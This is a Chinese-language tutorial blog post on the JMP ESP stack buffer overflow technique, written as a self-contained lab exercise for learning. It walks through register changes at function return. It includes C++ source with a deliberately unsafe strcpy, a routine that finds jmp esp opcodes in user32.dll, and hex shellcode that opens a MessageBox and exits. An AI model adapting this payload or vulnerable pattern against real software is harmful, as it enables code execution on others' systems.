3、缓冲区溢出之JMP ESP
本文属于原创,如有错误请指正。其中引用他人的部分已经标出,如涉及版权问题请联系本人
这里不得不讲一讲JMP ESP的原理了,在实验之前我一直没看懂他是如何试下跳转ESP之后回到栈区执行我们的shellcode的。在实验中你仔细观看会发现随着函数栈的销毁ESP是在变化的,JMP ESP正式利用这种变化,将我们精心准备的shellcode执行。
JMP ESP原理(如何在跳转ESP后执行shellcode)
JMP ESP在函数返回返回指令处填入我们在dll中搜索的 jmp esp的源码,在函数退出时将会把返回值处地址填入到EIP(即下一句要执行的指令地址)中,即程序跳到jmp esp处的地址执行该处的指令,此时ESP指向的地址也变为存储函数返回指令+4位置处的地址。
在user32.dll中查找到的 jmp esp地址,messagebox,以及 ExitProcess的值如下图,jmp esp我选用的是第一个地址0x7408c38e。
函数返回时的汇编指令
return 0;
00411662 xor eax,eax
}
00411664 pop edi
00411665 pop esi
00411666 pop ebx
00411667 mov esp,ebp
00411669 pop ebp
0041166A ret
对应汇编指令在看一遍函数返回时的ESP变化
return 0;
//ESP=0019FE10 EBP=0019FE6C
00411662 xor eax,eax
//ESP=0019FE10 EBP=0019FE6C
}
00411664 pop edi
//ESP=0019FE14 EBP=0019FE6C pop后ESP加4 即栈顶上移4个字节,栈缩小四个字节
00411665 pop esi
//ESP=0019FE18 EBP=0019FE6C 栈顶继续上移4
00411666 pop ebx
//ESP=0019FE1C EBP=0019FE6C 栈顶继续上移4
00411667 mov esp,ebp
//ESP=0019FE6C EBP=0019FE6C EBP的地址赋值给ESP 此时就需要查看一下内存了
我们可以看出此时栈的大小为0 ,栈内存是更改后的内存 栈顶为0019FE6C
00411669 pop ebp
//ESP=0019FE70 EBP=90909090 我们可以看到ESP现在后移到红框右侧四字节处,即栈顶向下移四字节,儿此时我们在ESP处,该处也是“函数返回时下一条执行指令地址存储位置”不过此时存储着我们设计好的jmp esp处的地址(0x7408c38e)。
0041166A ret
//ESP=0019FE74 EBP=90909090 EIP=7408C38E 此时我们看到了EIP读取了该处的地址,意味着下一条指令执行将执行jmp esp,而此时ESP继续+4跳过了存储“函数返回时下一条执行指令地址存储位置”,
7408C38E jmp esp
//此时ESP存储的是地址为0019FE74 该处为33 db 53 68即我们构造的shellcode的指令开始地址,如此就能够开始执行我们希望的命令。
对应的内存
对应的汇编指令
其他不明白的地方在百度或博客上基本都讲解清楚了
源码:
#include<iostream>
#include<windows.h>
#include <string.h>
using namespace std;
int overflow(const char* input)
{
BOOL bFlAG = TRUE;
int nFlag = 1;
char buf[8];
memset(buf, 0, 8);
printf("Virtual address of 'buf' = Ox%p\n", buf);
printf("Virtual address of 'nFlag' = Ox%p NUM:%d \r\n", &nFlag, nFlag);
strcpy(buf, input);
printf("Virtual address of 'nFlag' = Ox%p NUM:%d \r\n", &nFlag, nFlag);
return 0;
}
void FindJMPESP(char*dll_name)
{
//仅显示前十个jmpESP
int nTens = 0;
char* handle = (char*)LoadLibraryA(dll_name);//获取dll加载地址
for (int pos = 0;; pos++)//遍历dll代码空间
{
if (handle[pos] == (char)0xff && handle[pos + 1] == (char)0xe4)//寻找0xffe4 = jmp esp
{
if (nTens>10)
{
nTens = 0;
return;
}
else
{
printf("JMP ESP Address: %x \r\n", (handle + pos));
nTens++;
}
}
}
return;
}
int main()
{
printf("Virtual address of 'overflow' = Ox%p\n", overflow);
//加载user32.dll库
HMODULE hUserModule = LoadLibrary("user32.dll");
if (NULL == hUserModule)
{
printf("动态库加载失败BufferOverflow.cpp 错误码:%d \r\n",GetLastError());
return 0;
}
printf("MessageBox Address %X\r\n", MessageBox);
printf("ExitProcess Address: %X\r\n", ExitProcess);
FindJMPESP("user32.dll");
//MessageBox(NULL, "failwest", "failwest", 0);
//printf("Virtual address of 'overflow' = Ox%p\n", Fun);
//注意这里ff后,但其实默认添加了’\0’在最后面
//char input[] = "\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xB0\xF8\x0E\x74\xFF\xD0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x38\xFE\x19"
//JMP ESP
char input[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x8e\xC3\x08\x74"//\x8e\xC3\x08\x74为填充的jmp esp的地址
"\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xB0\xF8\x0E\x74\xFF\xD0\x53\xB8\xC0\x3B\x99\x74\xFF\xD0"
//剩下的shellcode的指令
;//Messagebox函数地址:0x740EF8B0 ExitProcess函数地址: 74993BC0
//char input[] = "AAAAAAB";//good input, ASCII code of 'A' is 41
//char input[] = "AAAAAAA";//good input, ASCII code of 'A' is 41
overflow(input);
system("pause");
return 0;
}
程序进入函数overflow中
ESP = 0019FE10 EBP = 0019FE6C
红框标出的为ESP EBP以及“函数返回时下一条执行指令地址存储位置”
“strcpy(buf, input)”执行之后标记处的一次为ESP EBP “函数返回时下一条执行指令地址存储位置” “shellcode执行代码部分”
如何设计程序的Shellcode
我们使用的shellcode 执行部分从汇编xor ebx,ebx开始,一直到汇编结束
以下部分来自于《0day安全》—— 3.2 定位shellcode 作者:木木夕T_T
其中,MessageBoxA与ExitProcess函数的入口地址获取方法在2.4节中提到过,不同的是MessageBoxA是user32.dll的导出函数,ExitProcess是kernel32.dll的导出函数。
把shellcode的代码编译运行,用OllyDbg加载可执行文件,在代码区选中所需代码,右键,选择”Copy”,选择”To file”,可以将汇编代码对应的机器码提取出来。